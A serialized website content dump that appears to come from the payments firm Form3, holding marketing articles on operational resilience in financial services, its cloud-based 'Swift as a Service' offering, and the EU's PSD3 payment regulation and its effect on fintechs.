infrastructure",[],{"type":474,"text":16924,"spans":16925,"direction":445},"Cloud as the Backbone of Resilience ",[],{"type":25,"text":16927,"spans":16928,"direction":445},"Cloud technology offers a powerful framework for resilience, providing financial institutions with unmatched scalability, automated failover capabilities, and resource flexibility. In a resilient infrastructure, the cloud’s elasticity enables institutions to allocate resources dynamically, scaling up during high-demand periods and minimising costs during slower times. Furthermore, cloud providers offer robust disaster recovery options, allowing institutions to focus on maintaining continuity rather than manually managing each contingency. ",[],{"type":474,"text":16930,"spans":16931,"direction":445},"Leveraging Homogenous Cloud Infrastructure ",[],{"type":25,"text":16933,"spans":16934,"direction":445},"One of the cloud’s key strengths is its homogeneity, which simplifies system updates, API management, and control. A uniform cloud infrastructure reduces operational complexity, allowing seamless updates and centralised management that are crucial for resilience. Financial institutions benefit from a simplified, scalable architecture that is easier to secure, monitor, and manage, reducing the likelihood of unexpected disruptions. ",[],{"type":474,"text":16936,"spans":16937,"direction":445},"Case for Multi-cloud Strategy ",[],{"type":25,"text":16939,"spans":16940,"direction":445},"In resilience planning, a multi-cloud strategy is particularly advantageous. By using multiple cloud providers or hybrid cloud setups, institutions can mitigate concentration risk and reduce reliance on any single provider. This approach introduces flexibility, ensuring that critical services are not bound to one cloud environment. Open-source frameworks complement multi-cloud setups, offering added flexibility and cost control while maintaining the necessary resilience standards. ",[16941],{"start":5574,"end":9202,"type":489,"data":16942},{"link_type":491,"url":16943,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fmulticloud-approach-to-payments","rich_text$c8868a12-27c2-4022-b7b1-62bdf06f87c1",{"variation":437,"version":438,"items":16946,"primary":16947,"id":16970,"slice_type":468,"slice_label":5},[],{"body":16948},[16949,16952,16955,16958,16961,16964,16967],{"type":746,"text":16950,"spans":16951},"Embedding a culture of engineering resilience in financial institutions",[],{"type":474,"text":16953,"spans":16954,"direction":445},"Cultural Shift Toward a Resilience-First Mindset ",[],{"type":25,"text":16956,"spans":16957,"direction":445},"For an engineering-driven approach to succeed, resilience must become a cross-functional priority. It should extend beyond IT teams to encompass risk, compliance, and executive leadership. Making resilience a shared responsibility encourages a collaborative culture where each department understands its role in maintaining operational stability. Embedding resilience into day-to-day operations requires ongoing communication between teams, fostering an organisation-wide commitment to protecting core services. ",[],{"type":474,"text":16959,"spans":16960,"direction":445},"Engineering Ownership and Accountability ",[],{"type":25,"text":16962,"spans":16963,"direction":445},"To drive resilience effectively, financial institutions must establish cross-functional teams responsible for resilience initiatives. Breaking down silos promotes accountability and ensures that all departments contribute to a unified resilience strategy. This setup encourages continuous learning and improvement, as teams analyse incidents and update systems to reflect lessons learned. Continuous training in resilience practices empowers teams to implement and sustain resilience at every organisational level. ",[],{"type":474,"text":16965,"spans":16966,"direction":445},"Continuous Improvement via Feedback Loops ",[],{"type":25,"text":16968,"spans":16969,"direction":445},"A key component of engineering resilience is embedding feedback loops within resilience testing. By learning from each incident, institutions refine their systems, making resilience a dynamic, continuously improving aspect of operations. Feedback loops enable teams to monitor the efficacy of resilience measures, fine-tuning their strategies and building an adaptive system that grows stronger with each test. ",[],"rich_text$a48fcc6c-9d81-4aad-a087-c8fb150d7443",{"variation":437,"version":438,"items":16972,"primary":16973,"id":16990,"slice_type":468,"slice_label":5},[],{"body":16974},[16975,16978,16981,16984,16987],{"type":746,"text":16976,"spans":16977},"Looking ahead: preparing for the future of resilience in financial services",[],{"type":474,"text":16979,"spans":16980,"direction":445},"Navigating Growing Regulatory Expectations ",[],{"type":25,"text":16982,"spans":16983,"direction":445},"Regulatory standards are increasingly focused on resilience, and an engineering-driven approach allows institutions to meet these expectations with robust defences. While regulations provide a framework, engineering resilience surpasses mere compliance, establishing systems that can stand up to unexpected challenges. As regulatory bodies continue to raise resilience standards, institutions with an engineering-first approach will be well-positioned to comply and maintain operational strength. ",[],{"type":474,"text":16985,"spans":16986,"direction":445},"Building for Customer-Centric Resilience ",[],{"type":25,"text":16988,"spans":16989,"direction":445},"In the financial sector, resilience must be customer-centric, designed with the end-user experience in mind. A resilient infrastructure tailored to customer needs means that even during disruptions, services remain available, reliable, and secure. Customer expectations for seamless digital experiences are higher than ever, and a customer-centric approach to resilience meets those expectations, enhancing trust and engagement. ",[],"rich_text$53728128-4076-4e58-9a1f-eca04b81abd9",{"variation":437,"version":438,"items":16992,"primary":16993,"id":17001,"slice_type":468,"slice_label":5},[],{"body":16994},[16995,16998],{"type":746,"text":16996,"spans":16997},"Conclusion: a resilience-first future",[],{"type":25,"text":16999,"spans":17000,"direction":445},"To navigate the complexities of a rapidly evolving digital landscape, financial institutions must adopt an engineering-driven approach to resilience. By embedding resilience into every layer of technology, culture, and strategy, institutions can reduce risks and sustain seamless operations, even during unpredictable events. As resilience becomes a central focus, those who take an engineering-first approach will lead the way in reliability, customer satisfaction, and regulatory readiness. This commitment to a resilience-first future will not only secure critical services but also position institutions for lasting success in an increasingly competitive market. ",[],"rich_text$24c107ae-6134-4ec6-8f8b-e3862cdd7db8",{"id":17003,"uid":17004,"type":3743,"data":17005},"alzzXxEAACkAUWNF","swift-as-a-service-international-payments",{"title":17006,"excerpt":17007,"card_image":17008,"published_date":17013,"reading_time":418,"tag":3751,"dek":17014,"featured_image":17015,"about_form3":17020,"client_about_heading":5,"client_about_body":17021,"author_name":5,"author_title":5,"author_photo":17022,"author_bio":17023,"author_linkedin":17024,"slices":17025,"meta_title":17254,"meta_description":17255},"Breaking Barriers in International Payments: Form3's Innovative 'Swift as a Service' Solution","The international payments industry is growing rapidly, with a projected global revenue pool of $2.9 trillion by 2025. However, accessing and maintaining cost-efficient access to the Swift network is challenging, due to physical on-premises requirements, complex messaging standards, and the need for multiple vendor integrations. Form3's Swift as a Service' offers a cloud-native, API-driven solution that simplifies connectivity and reduces operational overheads.",{"dimensions":17009,"alt":17006,"copyright":5,"url":17010,"id":17011,"edit":17012},{"width":412,"height":412},"\u002F_prismic-media\u002Ff8171a9da6928391-CqPNuvEzET5WRo1C_swift-as-a-service-internationa.png","CqPNuvEzET5WRo1C",{"x":398,"y":398,"zoom":399,"background":400},"2023-04-26","The international payments industry is growing rapidly, with a projected global revenue pool of $2.9 trillion by 2025. However, accessing and maintaining cost-efficient access to the Swift network is challenging, due to physical on-premises requirements, complex messaging standards, and the need for multiple vendor integrations. Form3's 'Swift as a Service' offers a cloud-native, API-driven solution that simplifies connectivity and reduces operational overheads.",{"dimensions":17016,"alt":5,"copyright":5,"url":17017,"id":17018,"edit":17019},{"width":501,"height":6562},"\u002F_prismic-media\u002F424d950d949ffee7-dU8KzHI9BUf8k-ED_eba97d1a-366a-4829-a702-d2493f1.png","dU8KzHI9BUf8k-ED",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[17026,17034,17045,17056,17067,17078,17089,17100,17111,17122,17136,17147,17158,17176,17196,17204,17215,17241],{"variation":437,"version":438,"items":17027,"primary":17028,"id":17033,"slice_type":468,"slice_label":5},[],{"body":17029},[17030],{"type":25,"text":17031,"spans":17032},"Cross-border transactions are growing exponentially, with global revenues expected to reach $2.9 trillion by 2025. As businesses seek to capitalise on this lucrative market, they face increasing challenges in accessing international payments and the Swift network. This article examines the problems businesses encounter and introduces Form3's innovative solution: 'Swift as a Service.'",[],"rich_text$5e3289c8-6eec-4e6d-aebf-38d50e5503a5",{"variation":437,"version":438,"items":17035,"primary":17036,"id":17044,"slice_type":468,"slice_label":5},[],{"body":17037},[17038,17041],{"type":988,"text":17039,"spans":17040,"direction":445},"Industry Trends",[],{"type":25,"text":17042,"spans":17043,"direction":445},"As the global economy becomes increasingly interconnected, cross-border payments are projected to reach between $150-250 trillion by 2027. With numbers like these, businesses must get their international payment strategies right to stay competitive. Several key trends are shaping the current international payments landscape:",[],"rich_text$caae847a-ce12-4ec9-9268-9f47e70ffdb3",{"variation":437,"version":438,"items":17046,"primary":17047,"id":17055,"slice_type":468,"slice_label":5},[],{"body":17048},[17049,17052],{"type":988,"text":17050,"spans":17051,"direction":445},"Supervisory Enhancements to Cross-Border Payments (CPMI-BIS)",[],{"type":25,"text":17053,"spans":17054,"direction":445},"The Committee on Payments and Market Infrastructures (CPMI) and the Bank for International Settlements (BIS) have been working together to improve cross-border payment systems, promoting faster, cheaper, more transparent, and more inclusive transactions. These organisations have established ambitious targets to be achieved by 2027, which will drive significant changes in the way cross-border payments are processed and regulated. These enhancements are expected to increase the efficiency of international payments, reduce risks, and expand access to financial services worldwide.",[],"rich_text$02558b19-9a1c-44a1-b9f8-c1589f850950",{"variation":437,"version":438,"items":17057,"primary":17058,"id":17066,"slice_type":468,"slice_label":5},[],{"body":17059},[17060,17063],{"type":988,"text":17061,"spans":17062,"direction":445},"Digitisation and Emerging Technologies",[],{"type":25,"text":17064,"spans":17065,"direction":445},"Advancements in technology are playing a crucial role in shaping the future of international payments. The increasing digitisation of financial services has led to the development of new solutions and platforms that streamline payment processes, enhance security, and reduce transaction costs. Additionally, machine learning and artificial intelligence can help improve fraud detection and optimise payment routing, further enhancing the overall efficiency of international payments.",[],"rich_text$f85d4bd6-09cc-4b21-a0e7-548519d0f586",{"variation":437,"version":438,"items":17068,"primary":17069,"id":17077,"slice_type":468,"slice_label":5},[],{"body":17070},[17071,17074],{"type":988,"text":17072,"spans":17073,"direction":445},"Growth in SME and E-commerce",[],{"type":25,"text":17075,"spans":17076,"direction":445},"The rapid expansion of small and medium-sized enterprises (SMEs) and e-commerce has led to a significant increase in cross-border transactions. As businesses continue to grow and engage in international trade, the demand for efficient and cost-effective payment solutions becomes even more critical.",[],"rich_text$fc6800a1-a558-42e5-b62a-058bd653b762",{"variation":437,"version":438,"items":17079,"primary":17080,"id":17088,"slice_type":468,"slice_label":5},[],{"body":17081},[17082,17085],{"type":988,"text":17083,"spans":17084,"direction":445},"Move to Real-Time Cross-Border Payments",[],{"type":25,"text":17086,"spans":17087,"direction":445},"Real-time payments have become increasingly popular in domestic markets, and now the trend is moving towards cross-border transactions. The demand for immediate settlement and enhanced transparency is driving the development of new payment infrastructure and solutions that can support real-time cross-border payments. A recent example of this is the partnership between EBA Clearing and The Clearing House with their IXB model. Utilizing existing real-time payment systems, RTP in the US and RT1 in Europe. It is set to process its first live transactions later this year. This move towards faster transactions aims to improve the overall customer experience, reduce operational costs, and increase the competitiveness of businesses engaged in international trade.",[],"rich_text$e6f6b495-bec4-43b7-8ebf-622c81f762f0",{"variation":437,"version":438,"items":17090,"primary":17091,"id":17099,"slice_type":468,"slice_label":5},[],{"body":17092},[17093,17096],{"type":988,"text":17094,"spans":17095,"direction":445},"Key Challenges Institutions Face When Joining the Swift Correspondent Banking Network",[],{"type":25,"text":17097,"spans":17098,"direction":445},"In today's globalised economy, financial institutions are constantly seeking to improve their cross-border payment processes. One popular solution is to join the Swift correspondent banking network, which connects thousands of banks worldwide and facilitates secure, efficient, and reliable international transactions. However, becoming a part of this network comes with its own set of challenges. ",[],"rich_text$865951ac-ff71-4b87-aeeb-536bdca0652d",{"variation":437,"version":438,"items":17101,"primary":17102,"id":17110,"slice_type":468,"slice_label":5},[],{"body":17103},[17104,17107],{"type":988,"text":17105,"spans":17106,"direction":445},"Technical access and costs",[],{"type":25,"text":17108,"spans":17109,"direction":445},"One of the primary concerns for institutions considering joining the Swift network is the technical complexity and cost involved. Connecting to Swift requires on-site hardware, such as Swift gateways and communication interfaces, as well as the expertise of specialists to manage and maintain these systems. Furthermore, Swift's annual November Standards update where new enhancements or new additions to Swift messages take place, often necessitates significant changes to a bank's infrastructure, leading to additional costs and potential disruption.\n\nMoreover, smaller institutions may find the investment in hardware and expertise to be disproportionately expensive compared to the benefits they receive from joining the network. As a result, they may be deterred from participating, limiting their ability to offer efficient cross-border payment solutions to their customers.",[],"rich_text$f8100573-542e-4b18-95da-d7043f06bf1c",{"variation":437,"version":438,"items":17112,"primary":17113,"id":17121,"slice_type":468,"slice_label":5},[],{"body":17114},[17115,17118],{"type":988,"text":17116,"spans":17117,"direction":445},"Transition to ISO20022",[],{"type":25,"text":17119,"spans":17120,"direction":445},"Another challenge for institutions is managing the transition from the current Swift message format (MT) to the new ISO 20022 standard (MX). Swift plans to migrate to this new standard by 2025, requiring banks to adapt their systems and processes accordingly. This transition may prove difficult for some institutions, particularly those with limited resources and expertise in implementing new messaging formats.\n\nThe ISO 20022 standard offers many advantages, such as increased interoperability, richer data, and improved straight-through processing. However, the transition may involve significant costs and effort for institutions to update their systems, train staff, and comply with the new standard within the given timeline.",[],"rich_text$63c05869-984a-4177-8c6e-81bd3064eb0b",{"variation":437,"version":438,"items":17123,"primary":17124,"id":17135,"slice_type":468,"slice_label":5},[],{"body":17125},[17126,17129,17132],{"type":988,"text":17127,"spans":17128,"direction":445},"Demand for greater optionality",[],{"type":25,"text":17130,"spans":17131,"direction":445},"Financial institutions are increasingly seeking more flexibility and optionality in their payment processes to enhance efficiency and better serve their customers. This demand for customisation can be challenging within the Swift network, as it often requires additional infrastructure and resources to support bespoke payment solutions.\n",[],{"type":25,"text":17133,"spans":17134,"direction":445},"Institutions may need to invest in supplementary software or third-party services to meet their specific requirements, further adding to the complexity and cost of joining the Swift network.\n\nWhile the Swift correspondent banking network offers numerous benefits to financial institutions, joining the network is not without its challenges. Technical complexity, the transition to ISO 20022, demand for greater optionality, and compliance requirements all present significant obstacles for institutions seeking to become a part of this global payment network.\n\nTo overcome these challenges, institutions may consider partnering with third-party providers or exploring alternative payment solutions that can help them navigate the complexities of the Swift network while still offering efficient, secure, and compliant cross-border payment services to their customers. ",[],"rich_text$e2452bc9-20ab-4b32-a05c-0b1d765705a4",{"variation":437,"version":438,"items":17137,"primary":17138,"id":17146,"slice_type":468,"slice_label":5},[],{"body":17139},[17140,17143],{"type":988,"text":17141,"spans":17142,"direction":445},"Introducing Swift as a Service",[],{"type":25,"text":17144,"spans":17145,"direction":445},"Form3's ‘Swift as a Service' was developed to address the challenges faced by businesses when joining the Swift network. As the world’s first cloud-native API only connectivity solution to the Swift network we offer a truly zero-footprint managed service. By eliminating the need for cumbersome hardware and software, we make international payments more accessible, efficient and cost-effective for businesses of all sizes. ",[],"rich_text$95d40107-32b3-4914-9af2-089560f7e8ca",{"variation":437,"version":438,"items":17148,"primary":17149,"id":17157,"slice_type":468,"slice_label":5},[],{"body":17150},[17151,17154],{"type":988,"text":17152,"spans":17153,"direction":445},"How it Works",[],{"type":25,"text":17155,"spans":17156,"direction":445},"Form3's Software as a Service (SaaS) model maintains a single code base for all customers. This means that annual standards upgrades, VPN upgrades, and industry migrations to ISO 20022 are applied centrally and rolled out to all customers instantly.",[],"rich_text$aef67f1e-7486-4a50-ab7d-c091f0f329d0",{"variation":437,"version":527,"items":17159,"primary":17160,"id":17175,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":17161,"body":17162,"cta_label":5,"cta_link":17166,"aside_type":533,"aside_image":17167,"aside_video":17170,"aside_video_poster":17171,"aside_video_reduced_motion":17172,"aside_video_url":5,"aside_embed":17173,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":17174,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[17163],{"type":25,"text":17164,"spans":17165},"Inbound transactions",[],{"link_type":434},{"dimensions":17168,"alt":5,"copyright":5,"url":17017,"id":17018,"edit":17169},{"width":501,"height":6562},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$6611895d-e4ad-4ba1-a5d0-6c10ab981f11",{"variation":437,"version":527,"items":17177,"primary":17178,"id":17195,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":17179,"body":17180,"cta_label":5,"cta_link":17184,"aside_type":533,"aside_image":17185,"aside_video":17190,"aside_video_poster":17191,"aside_video_reduced_motion":17192,"aside_video_url":5,"aside_embed":17193,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":17194,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[17181],{"type":25,"text":17182,"spans":17183},"Outbound transactions",[],{"link_type":434},{"dimensions":17186,"alt":5,"copyright":5,"url":17187,"id":17188,"edit":17189},{"width":501,"height":6562},"\u002F_prismic-media\u002Fc73ee83f8cac43b1-HwwS2lonmCmstx8m_85196f25-2e9d-44ff-abc7-fec502a.png","HwwS2lonmCmstx8m",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$bcc25092-d33b-45e5-ac58-8b49ae6fff63",{"variation":437,"version":438,"items":17197,"primary":17198,"id":17203,"slice_type":468,"slice_label":5},[],{"body":17199},[17200],{"type":25,"text":17201,"spans":17202},"Designed to suit varying cloud connectivity needs, Form3's service offers the benefits of a best-in-class cloud-based platform with zero footprint. This single API connects to Swift and numerous other payment gateways, revolutionising the international payments landscape.",[],"rich_text$866376f5-7b37-4afa-bebf-879c994487ee",{"variation":437,"version":438,"items":17205,"primary":17206,"id":17214,"slice_type":468,"slice_label":5},[],{"body":17207},[17208,17211],{"type":988,"text":17209,"spans":17210,"direction":445},"Why Choose Form3?",[],{"type":25,"text":17212,"spans":17213,"direction":445},"By opting for 'Swift as a Service' from Form3, businesses can:",[],"rich_text$248f400b-2cd0-473c-ab17-9b45db68d5d2",{"variation":437,"version":438,"items":17216,"primary":17217,"id":17240,"slice_type":468,"slice_label":5},[],{"body":17218},[17219,17222,17225,17228,17231,17234,17237],{"type":1151,"text":17220,"spans":17221,"direction":445},"Experience seamless connectivity to the vast SWIFT network, encompassing over 11,000 global institutions for unparalleled reach.",[],{"type":1151,"text":17223,"spans":17224,"direction":445},"Embrace the future of payments with native ISO 20022 \u002F CBPR+ compatibility, ensuring smooth and efficient transactions.",[],{"type":1151,"text":17226,"spans":17227,"direction":445},"Leverage our API-driven, multi-cloud technology to enjoy industry-leading security, resilience, and scalability in your payment processes.",[],{"type":1151,"text":17229,"spans":17230,"direction":445},"Simplify your operations with our cloud-native solution, eliminating the need for cumbersome hardware or software installations.",[],{"type":1151,"text":17232,"spans":17233,"direction":445},"Focus on your core business as our fully managed service handles the complexities of technology and operations management for you.",[],{"type":1151,"text":17235,"spans":17236,"direction":445},"Benefit from our multi-tenant platform, where system and scheme updates are centrally managed to guarantee consistent performance across all users.",[],{"type":1151,"text":17238,"spans":17239,"direction":445},"Enhance your payment capabilities with our best-in-class Payments Platform, catering to both international and domestic transactions through a single, user-friendly API.",[],"rich_text$0cee8c77-fcb7-4de4-9365-0c2223498473",{"variation":437,"version":438,"items":17242,"primary":17243,"id":17253,"slice_type":468,"slice_label":5},[],{"body":17244},[17245,17247,17250],{"type":988,"text":4445,"spans":17246,"direction":445},[],{"type":25,"text":17248,"spans":17249,"direction":445},"In a rapidly evolving international payments landscape, businesses need a solution that keeps pace with industry trends and overcomes the complexities of accessing the Swift network. Form3's 'Swift as a Service' offers an innovative, cloud-native, and fully managed connectivity model that addresses these challenges head-on. ",[],{"type":25,"text":17251,"spans":17252,"direction":445},"By providing direct access to the expansive Swift network and supporting native ISO 20022 \u002F CBPR+ compatibility, Form3 enables businesses to process transactions faster, cheaper, and more efficiently. With industry-leading security, resilience, and scalability, 'Swift as a Service' is the perfect solution for businesses looking to capitalise on the growing opportunities in cross-border payments.",[],"rich_text$5de876c3-d622-4508-8dc3-66a43a6aa3a7","Revolutionizing International Payments: Form3's Swift as a Service","Discover Form3's groundbreaking 'Swift as a Service' solution, streamlining international payments with a secure, efficient, and cost-effective cloud-native approach.",{"id":17257,"uid":17258,"type":3743,"data":17259},"alzypBEAACoAUWGV","psd3-and-fintechs",{"title":17260,"excerpt":17261,"card_image":17262,"published_date":17268,"reading_time":1130,"tag":5813,"dek":17269,"featured_image":17270,"about_form3":17276,"client_about_heading":5,"client_about_body":17277,"author_name":5,"author_title":5,"author_photo":17278,"author_bio":17279,"author_linkedin":17280,"slices":17281,"meta_title":17260,"meta_description":17261},"PSD3 and Fintechs: A new chapter and what is means","Explore how PSD3 will transform the fintech landscape in Europe. Learn about its impacts, strategic preparations necessary, and the opportunities it presents for fintech companies.",{"dimensions":17263,"alt":17264,"copyright":5,"url":17265,"id":17266,"edit":17267},{"width":412,"height":412},"Responsive illustration","\u002F_prismic-media\u002F82daffd237fbe190-91fpzpAZ1-elZWMf_psd3-and-fintechs.svg","91fpzpAZ1-elZWMf",{"x":398,"y":398,"zoom":399,"background":650},"2024-05-10","In June 2023, the European Commission unveiled its strategic blueprint to modernize the Payment Services Directive, heralding the arrival of the third iteration, PSD3, alongside the new Payment Services Regulation (PSR1). This significant evolution is a response to the rapid digitization of payments and the dynamic nature of the European payments market. As the landscape transforms, fintech companies are finding themselves at a crucial juncture where understanding the forthcoming changes, their implications, and effective strategies for adaptation are essential. The preparation for this transformative era in digital finance is not just about compliance; it's about seizing new opportunities for innovation and growth.",{"dimensions":17271,"alt":17272,"copyright":5,"url":17273,"id":17274,"edit":17275},{"width":501,"height":646},"Form3 Logo","\u002F_prismic-media\u002Fdbb1d257d13b2612-5U0gjHgBimUS7-L5_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","5U0gjHgBimUS7-L5",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[17282,17296,17319,17327,17338,17361,17384,17392],{"variation":437,"version":438,"items":17283,"primary":17284,"id":17295,"slice_type":468,"slice_label":5},[],{"body":17285},[17286,17289,17292],{"type":988,"text":17287,"spans":17288,"direction":445},"The Evolution of Payment Services Directives",[],{"type":25,"text":17290,"spans":17291,"direction":445},"The genesis of the Payment Services Directive (PSD) marked a significant step towards harmonizing payment services across the EU, with the goal of creating a single market for payment services. This directive aimed to remove the legislative and technical barriers that previously segmented the market, limiting cross-border and digital payment innovation. Following this, PSD2, introduced in 2016, built upon this foundation by incorporating rigorous security protocols and promoting open banking frameworks. These enhancements were instrumental in catalyzing competition and fostering innovation across the financial sector, thereby benefiting both service providers and consumers. ",[],{"type":25,"text":17293,"spans":17294,"direction":445},"PSD3 is poised to push these advancements even further. Set against a backdrop of rapidly advancing technological trends, evolving consumer behaviors, and escalating cyber threats, PSD3 aims to not only respond to these challenges but also to preemptively address future complexities. The directive's objectives are clear: to bolster cybersecurity measures, streamline payment operations, and ensure a level playing field that fosters fair competition across the European Economic Area (EEA). ",[],"rich_text$3363f9f6-45e3-4517-b2bc-87a3feb1d33b",{"variation":437,"version":438,"items":17297,"primary":17298,"id":17318,"slice_type":468,"slice_label":5},[],{"body":17299},[17300,17303,17306,17310,17314],{"type":988,"text":17301,"spans":17302,"direction":445},"Key Changes and Their Impact on Fintechs",[],{"type":25,"text":17304,"spans":17305,"direction":445},"The transition from PSD2 to PSD3, accompanied by the introduction of PSR1, is set to redefine the regulatory framework within which payment service providers (PSPs) operate. This shift is significant for several reasons: ",[],{"type":3373,"text":17307,"spans":17308,"direction":445},"Standardizing Authentication Rules and API Performance: PSR1 aims to directly impact fintech operations by enhancing the reliability and efficiency of the services provided to customers. Standardizing the authentication processes and API performances across the board will not only improve the security of transactions but also enhance the user experience, reducing friction and fostering greater consumer trust in digital payment systems. ",[17309],{"start":398,"end":4889,"type":593},{"type":3373,"text":17311,"spans":17312,"direction":445},"Risk-Based Fraud Prevention: With cyber threats becoming more sophisticated, PSD3 introduces advanced risk-based strategies to combat fraud. These measures are designed to help fintechs better manage risks by implementing more nuanced and intelligent systems for detecting and preventing fraudulent activities. This proactive approach in risk management is crucial for protecting consumers and maintaining the integrity of the financial system. ",[17313],{"start":398,"end":871,"type":593},{"type":3373,"text":17315,"spans":17316,"direction":445},"Non-Discriminatory Access to Payment Systems: Perhaps one of the most significant changes is the directive's push to ensure that fintechs have equal access to payment systems and accounts held by traditional credit institutions. This provision is designed to dismantle any existing barriers that may prevent new entrants and smaller players from competing effectively in the market. By leveling the playing field, PSD3 aims to encourage innovation and diversity within the financial services industry, which can lead to more consumer-centric products and services. ",[17317],{"start":398,"end":9202,"type":593},"rich_text$df935861-294b-458c-9f6c-3f4d0ad89b37",{"variation":437,"version":438,"items":17320,"primary":17321,"id":17326,"slice_type":468,"slice_label":5},[],{"body":17322},[17323],{"type":25,"text":17324,"spans":17325,"direction":445},"These regulatory changes are set to create a more secure, transparent, and efficient payment ecosystem. By fostering a competitive market that benefits both providers and consumers, PSD3 and PSR1 are expected to drive significant growth and innovation in the fintech sector. The introduction of these directives not only addresses the immediate needs of the market but also sets a robust foundation for the sustainable development of Europe's digital economy. ",[],"rich_text$7f23d59e-2da8-46b1-9b60-f825974ad03a",{"variation":437,"version":438,"items":17328,"primary":17329,"id":17337,"slice_type":468,"slice_label":5},[],{"body":17330},[17331,17334],{"type":988,"text":17332,"spans":17333,"direction":445},"Strategic Preparation for PSD3: A Comprehensive Guide for Fintechs",[],{"type":25,"text":17335,"spans":17336,"direction":445},"With the expected rollout of PSD3 in 2026, fintech companies face a crucial period of adaptation and preparation. This new directive not only redefines regulatory landscapes but also sets stringent standards that fintechs must meet to remain compliant and competitive. To navigate these changes successfully, fintechs must undertake several strategic preparations that will shape their operational frameworks and influence their market positions in the evolving financial sector. ",[],"rich_text$19e59a52-cdf2-4881-9483-bd13e4c50819",{"variation":437,"version":438,"items":17339,"primary":17340,"id":17360,"slice_type":468,"slice_label":5},[],{"body":17341},[17342,17345,17348,17352,17356],{"type":988,"text":17343,"spans":17344,"direction":445},"Key Steps for Preparing for PSD3",[],{"type":25,"text":17346,"spans":17347,"direction":445},"Staying Informed: As regulatory landscapes evolve, staying updated with the latest developments in PSD3 is crucial. Fintechs must closely monitor the legislative progress and understand the nuances of the new directives as they are finalized. This continuous awareness will enable timely compliance adjustments and strategic planning, ensuring that fintechs are not caught unprepared as the regulatory environment shifts. ",[],{"type":3373,"text":17349,"spans":17350,"direction":445},"Assessing Impact: Each fintech must conduct a thorough analysis of how PSD3 will impact its operations. This involves evaluating current business models, operational processes, and compliance frameworks to identify areas that require modifications. Fintechs should consider how the standardization of API performance, enhanced security measures, and changes in payment systems access might affect their daily operations and long-term strategic goals. ",[17351],{"start":398,"end":2769,"type":593},{"type":3373,"text":17353,"spans":17354,"direction":445},"Enhancing Security Measures: PSD3 places a significant emphasis on improving security protocols and fraud prevention mechanisms. Fintechs need to invest in advanced security technologies and revamp their existing processes to meet these heightened standards. This might include adopting new encryption techniques, improving identity verification processes, and implementing more sophisticated risk management tools to safeguard consumer data and reduce fraud risks. ",[17355],{"start":398,"end":871,"type":593},{"type":3373,"text":17357,"spans":17358,"direction":445},"Engaging with Regulatory Bodies: Interaction with regulatory authorities is essential for gaining insights into compliance expectations and contributing to policy development. By engaging in dialogues with regulators, fintechs can better understand the practical implications of PSD3 and influence discussions that may affect the fintech ecosystem. This proactive engagement can also help fintechs align their operations more closely with regulatory frameworks, ensuring smoother transitions and compliance. ",[17359],{"start":398,"end":5489,"type":593},"rich_text$1f7492eb-4b8a-4718-a053-036bcbd5c73a",{"variation":437,"version":438,"items":17362,"primary":17363,"id":17383,"slice_type":468,"slice_label":5},[],{"body":17364},[17365,17368,17371,17375,17379],{"type":988,"text":17366,"spans":17367,"direction":445},"Benefits of PSD3 for the Fintech Ecosystem",[],{"type":25,"text":17369,"spans":17370,"direction":445},"The implementation of PSD3 is set to bring numerous benefits to the fintech ecosystem, enhancing the way fintechs operate and interact with consumers: ",[],{"type":3373,"text":17372,"spans":17373,"direction":445},"Improving Open Banking Services: By standardizing API performance across the industry, PSD3 aims to minimize downtime and extend more reliable services to users. This enhancement will enable fintechs to offer more consistent and efficient services, thus improving overall customer satisfaction and trust. ",[17374],{"start":398,"end":9077,"type":593},{"type":3373,"text":17376,"spans":17377,"direction":445},"Streamlining the Customer Checkout Experience: PSD3 focuses on removing barriers to open banking, which will simplify and enhance the customer checkout experience. These improvements are expected to increase user engagement and adoption rates, driving growth for fintechs that are able to provide seamless user experiences. ",[17378],{"start":398,"end":9251,"type":593},{"type":3373,"text":17380,"spans":17381,"direction":445},"Boosting Security and Fraud Prevention: The directive enhances security measures like extended IBAN checks and advanced fraud detection mechanisms. These initiatives will not only protect consumers but also bolster the credibility and trustworthiness of fintech services, which is crucial for customer retention and attraction in a competitive market. ",[17382],{"start":398,"end":10399,"type":593},"rich_text$e6a5637c-e9d4-4411-bb5f-45a7bcc3ce26",{"variation":437,"version":438,"items":17385,"primary":17386,"id":17391,"slice_type":468,"slice_label":5},[],{"body":17387},[17388],{"type":25,"text":17389,"spans":17390,"direction":445},"Furthermore, PSD3’s emphasis on non-discriminatory access and consumer protection will empower fintechs to compete more effectively on the European stage, driving innovation and improving consumer satisfaction. ",[],"rich_text$cbffa2e5-0f0c-4410-95b2-e677c70cb85f",{"variation":437,"version":438,"items":17393,"primary":17394,"id":17405,"slice_type":468,"slice_label":5},[],{"body":17395},[17396,17399,17402],{"type":988,"text":17397,"spans":17398,"direction":445},"Conclusion: Embracing the Opportunities of PSD3",[],{"type":25,"text":17400,"spans":17401,"direction":445},"PSD3 heralds a significant evolution in the regulatory framework governing European payment services. For fintechs, this directive presents both challenges and opportunities that can greatly enhance their operational efficiency and strategic positioning in the market.  ",[],{"type":25,"text":17403,"spans":17404,"direction":445},"Fintechs that adeptly adapt to these changes are set to lead in innovation, establishing new standards for consumer trust and security in digital finance. As such, proactive and strategic preparation for PSD3 is essential. By embracing and preparing for the changes brought by PSD3, fintechs can ensure they not only comply with new regulations but also thrive in the new regulatory landscape, leveraging opportunities for growth and innovation. 